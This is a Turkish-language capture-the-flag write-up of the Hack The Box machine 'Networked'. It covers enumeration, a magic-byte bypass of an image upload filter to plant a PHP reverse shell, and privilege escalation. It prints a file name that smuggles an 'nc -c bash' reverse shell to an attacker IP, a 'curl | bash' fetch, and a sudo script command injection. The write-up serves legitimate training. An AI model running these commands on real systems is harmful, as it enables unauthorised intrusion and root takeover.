Hack The Box — Networked
Port Scan
Hedef sistem üzerinde ilk olarak açık portların tespiti için full port taraması gerçekleştirilir.
Full Port Scan
nmap -p- — open -vvv 10.10.10.146 -oN fullportscan
Açık olan portlar;
22/tcp80/tcp
Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve script taraması gerçekleştirilir.
Version Scan
nmap -p 22,80 -sV -sC -vvv 10.10.10.146 -oN versionscan
Enumeration
Port 80
İlgili adres tarayıcı üzerinden ziyaret edinildiğinde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır.
Söz konusu sayfaya ait kaynak kod incelendiğinde ise bir ipucu ile karşılaşıl-maktadır; “upload and gallery not yet linked”.
Ardından herhangi bir ipucu tespiti için “robots.txt” dosyası kontrol edilebilir. Ancak buradan da herhangi bir şey elde edilememiştir.
Ardından “curl” aracı ile ilgili sayfa için istek gerçekleştirilerek sunucudan dönen yanıt incelenebilir.
curl -i http://10.10.10.146/
Yukarıdaki ekran görüntüsünden de görüleceği üzere dönen yanıt başlığından uygulama ve sunucu versiyon bilgisi ifşası tespit edilmiştir.
Bu aşamada “gobuster” aracı ile dizin tarama işlemi gerçekleştirilebilir.Burada “.php” uzantısı verilerek aynı zamanda bu dosyalarda spesifik olarak tespit edilebilir.
gobuster -u http://10.10.10.146/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x ‘php’ -e -s ‘200,204,301,302,307,403,500’ -o gobuster
Tespit edilen sayfalar ve dizinler tek tek kontrol edilmiştir. Bunlardan bazılarına ait detaylar aşağıda verilmiştir.
“lib.php” sayfasına ait ekran görüntüsü aşağıda verilmiştir.
“upload.php” sayfasına ait ekran görüntüsü aşağıda verilmiştir.
Bu aşamada ilk olarak “.php” uzantılı dosya yüklenmeye çalışılmış ve sonucun başarısız olduğu gözlemlenmiştir.
Daha sonra dizin tarama işlemi esnasında tespit edilen “backup” dizinine gidilmiş ve aşağıda ekran görüntüsünde de görüldüğü üzere ilgili dizinin dizin listelemeye açık olduğu tespit edilmiştir.
İlgili dizin içerisinde bulunan “backup.tar” dosyası indirilmiş ve açılmıştır.
Ardından içerisinde daha önce rastlanılan sayfaların yedeklerinin bulunduğu tespit edilmiştir.
İlgili sayfalara ait kaynak kodlar incelendiğinde “upload.php” dosyasında aşağıdaki kontrollerin gerçekleştirildiği tespit edilebilir;
- Tabloda bold olarak işaretlenen ilk kod parçası göz önüne alınarak dosya boyutunun 60 KB’ dan küçük olması gerektiği,
- Tabloda bold olarak işaretlenen ikinci kod parçası göz önüne alınarak dosya uzantısının yalnızca “.jpeg, .png, .gif, .jpg” olması gerektiği,
- Tabloda bold olarak işaretlenen üçüncü kod parçası göz önüne alınarak dosya adının kullanıcının IP adresiyle eşleşecek şekilde değiştirildiği gözlemlenir.
upload.php
<?phprequire ‘/var/www/html/lib.php’;define(“UPLOAD_DIR”, “/var/www/html/uploads/”);if( isset($_POST[‘submit’]) ) {if (!empty($_FILES[“myFile”])) {$myFile = $_FILES[“myFile”];if (!(check_file_type($_FILES[“myFile”]) && filesize($_FILES[‘myFile’][‘tmp_name’]) < 60000)) {echo ‘<pre>Invalid image file.</pre>’;displayform();}if ($myFile[“error”] !== UPLOAD_ERR_OK) {echo “<p>An error occurred.</p>”;displayform();exit;}//$name = $_SERVER[‘REMOTE_ADDR’].’-’. $myFile[“name”];list ($foo,$ext) = getnameUpload($myFile[“name”]);$validext = array(‘.jpg’, ‘.png’, ‘.gif’, ‘.jpeg’);$valid = false;foreach ($validext as $vext) {if (substr_compare($myFile[“name”], $vext, -strlen($vext)) === 0) {$valid = true;}}if (!($valid)) {echo “<p>Invalid image file</p>”;displayform();exit;}$name = str_replace(‘.’,’_’,$_SERVER[‘REMOTE_ADDR’]).’.’.$ext;$success = move_uploaded_file($myFile[“tmp_name”], UPLOAD_DIR . $name);if (!$success) {echo “<p>Unable to save file.</p>”;exit;}echo “<p>file uploaded, refresh gallery</p>”;// set proper permissions on the new filechmod(UPLOAD_DIR . $name, 0644);}} else {displayform();}?>
“lib.php” dosyası içinde ise bold olarak işaretlenen kod parçaları göz önüne alınarak;
- Yüklenecek dosyanın işaretlenmiş MIME türü image/ ile başlaması yani ilgili dosyanın geçerli bir resim dosyası olması gerektiği gözlemlenebilir.
lib.php
<?phpfunction getnameCheck($filename) {$pieces = explode(‘.’,$filename);$name= array_shift($pieces);$name = str_replace(‘_’,’.’,$name);$ext = implode(‘.’,$pieces);#echo “name $name — ext $ext\n”;return array($name,$ext);}function getnameUpload($filename) {$pieces = explode(‘.’,$filename);$name= array_shift($pieces);$name = str_replace(‘_’,’.’,$name);$ext = implode(‘.’,$pieces);return array($name,$ext);}function check_ip($prefix,$filename) {//echo “prefix: $prefix — fname: $filename<br>\n”;$ret = true;if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {$ret = false;$msg = “4tt4ck on file “.$filename.”: prefix is not a valid ip “;} else {$msg = $filename;}return array($ret,$msg);}function file_mime_type($file) {$regexp = ‘/^([a-z\-]+\/[a-z0–9\-\.\+]+)(;\s.+)?$/’;if (function_exists(‘finfo_file’)) {$finfo = finfo_open(FILEINFO_MIME);if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system{$mime = @finfo_file($finfo, $file[‘tmp_name’]);finfo_close($finfo);if (is_string($mime) && preg_match($regexp, $mime, $matches)) {$file_type = $matches[1];return $file_type;}}}if (function_exists(‘mime_content_type’)){$file_type = @mime_content_type($file[‘tmp_name’]);if (strlen($file_type) > 0) // It’s possible that mime_content_type() returns FALSE or an empty string{return $file_type;}}return $file[‘type’];}function check_file_type($file) {$mime_type = file_mime_type($file);if (strpos($mime_type, ‘image/’) === 0) {return true;} else {return false;}}function displayform() {?><form action=”<?php echo $_SERVER[‘PHP_SELF’]; ?>” method=”post” enctype=”multipart/form-data”><input type=”file” name=”myFile”><br><input type=”submit” name=”submit” value=”go!”></form><?phpexit();}?>
Exploitation
Söz konusu kontroller göz önüne alındığında Kali’ de “/usr/share/laudanum/php/” dizini altında bulunan “php-reverse-shell.php” dosyasının başına dosyanın geçerli bir resim dosyası olarak algılanabilmesi için GIF dosyaları için geçerli olan “GIF89a;” magic byte’ları eklenmiştir. Bununla beraber dosyanın uzantısı ise “.php,gif” lacak şekilde güncellenmiştir.
İlgili reverse shell dosyasında değiştirilen dosya alanları aşağıdaki ekran görüntüsünde gözlemlenebilir.
File Upload (Magic Bytes) & Code Execution
Ardından ilgili dosyanın adı “myshell.php.gif” şeklinde güncellenmiş ve hedef sisteme yüklenmiştir.
Dosyanın hedef sisteme başarı ile yüklendiğine dair ekran görüntüsü aşağıda verilmiştir.
Yüklenilen dosyanın yerini tespit etmek için dizin tarama işlemleri esnasında tespit edilen dizinlerin ve sayfaların içeriği incelenmiştir.
İlgili dosyanın “photos.php” sayfasında bulunduğu gözlemlenmiştir.
Low User Shell (apache -> guly)
Dinleyici başlatılır ve ardından ilgili sayfaya gidilerek shell dosyası tetiklenir. Bu aşamada elde edilen kullanıcı yetkisi “apache” dir.
Elde edilen oturumda interactive shell’ e geçiş yapabilmek adına aşağıdaki komutlar kullanılabilir;
python -c ‘import pty; pty.spawn(“/bin/bash”)’CTRL +Zstty raw -echofg
Ardından ilgili kullanıcının “/home” dizini altına gidildiğinde hedef sistem “guly” adında bir kullanıcı bulunduğu gözlemlenmiştir.
Daha sonra “user.txt” dosyasının tespiti için “guly” kullanıcısının home dizinine gidilmiştir. İlgili dosya okunmaya çalışıldığında ise “apache” kullanıcısının yetkisi bulunmadığı gözlemlenmiştir. Bu aşamada aşağıda ekran görüntüsün-de verilen “crontab.guly” ve “check_attack.php” dosyalarının içeriği incelen-miştir.
“crontab.guly” dosyasının içeriği incelendiğinde her 3 dakikada bir “check_attack.php” dosyasını çalıştırdığı gözlemlenmektedir.
“check_attack.php” dosyası “uploads” dizininde bulunmaması gereken (IP adresi ile başlamayan) dosyaları kontrol eder ve siler. İlgili dosya içerisinde bu-lunan ve dosya adını ifade eden “$value” değişkeni yeterli kontrollerden geçi-rilmediğinden dolayı komut enjeksiyonuna sebep olmaktadır.
İlgili dosyasının içeriği aşağıdaki komut ile okunabilir;
cat check_attck.php
Bu aşamada eğer “cd /var/www/html/uploads/” dizinine gidilerek IP adresi ile başlamayacak ve hedef sistem üzerinden reverse shell alınmasını sağlayacak bir dosya oluşturulabilir. Yeni komut enjekte edebilmek için hedef sisteme yüklenecek dosya adı ; ile başlayacaktır. Bunun için aşağıdaki komut kullanılabilir;
touch “;nc -c bash 10.10.14.4 7070”
Ardından saldırgan sistem üzerinde dinleyici başlatılır;
nc -lvp 7070
Bu aşamada görüldüğü üzere bir süre sonra hedef sistem üzerinde oturum elde edilir. Ardından “user.txt” dosyası okunabilir.
Privilege Escalation (guly -> root)
Daha sonra “/tmp” dizinine gidilerek yetki yükseltme açıklıklarının tespiti adına hedef sisteme “LinEnum.sh” scripti yüklenebilir. Bunun için aşağıdaki yol izlenebilir;
İlk olarak hedef sisteme dosya yükleme için kulllanılacak olan araç tespit edilmiştir.
which wgetwhich curl
Sonuçlar incelendiğinde hedef sistem üzerinde “curl” aracının varlığı tespit edilmiştir.
Ardından saldırgan sistem üzerinde python ile HTTP sunucu başlatılmış ve dosya hedef sisteme yüklenerek çalıştırılmıştır.
Saldırgan sistem üzerinde;
python -m SimpleHTTPServer 80
Hedef sistem üzerinde;
curl http://10.10.14.4/LinEnum.sh | bash
Scriptin çıktısına ait sonuç incelendiğinde sudo yetkisinin yanlış yapılandırılmasından kaynaklanan bir açıklık bulunduğu tespit edilmiştir. Bunun tespiti için manuel olarak aşağıdaki komut da kullanılabilir;
sudo -l
Misconfiguration Sudo
Çıktıdaki detayı incelediğimizde “changename.sh” scripti sudo hakları ile parola gerektirmeksizin çalıştırılabilir olduğu gözlemlenmektedir.
Bu aşamada ilk olarak söz konusu scripti inceleyerek çalışma mantığı tespit edilir. İlgili script dosyası, tam olarak adlandırılan bir arabirim için bir ağ komut dosyası oluşturur ve ardından bu arabirimi etkinleştirir. Kullanıcıya ise söz konusu ağ arabirimini oluşturmak için aşağıdaki parametreleri sormaktadır;
NAMEPROXY_METHODBROWSER_ONLYBOOTPROTO
Ancak burada ilgilenilecek parametre “NAME”parametresidir. Bunun sebebi ise “NAME” parametresi için alınan değerin komut enjeksiyonuna sebep olmasıdır. İlgili konu hakkındaki detaylara aşağıdaki linklerden ulaşılabilir;
- https://seclists.org/fulldisclosure/2019/Apr/24
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
Ardından “change.sh” scripti sudo hakları ile çalıştırılır ve parametrelerden “NAME” parametresine hedef sistem üzerinde “root” haklarında etkileşimli bir kabuk elde edebilmek adına “asd bash — i” komutu değişken olarak atanmıştır. Daha sonra diğer parametrelere de rastgele değerler atanarak en son “id” parametresi ile hedef sistem üzerinde yetki durumu kontrol edilmiştir. Sonuç-ta ise hedef sistem üzerinden “root” yetkisinin elde edildiği gözlemlenebilir.
Son olarak “root.txt” dosyasının tespitine ait ekran görüntüsü aşağıda verilmiştir.
😈🥂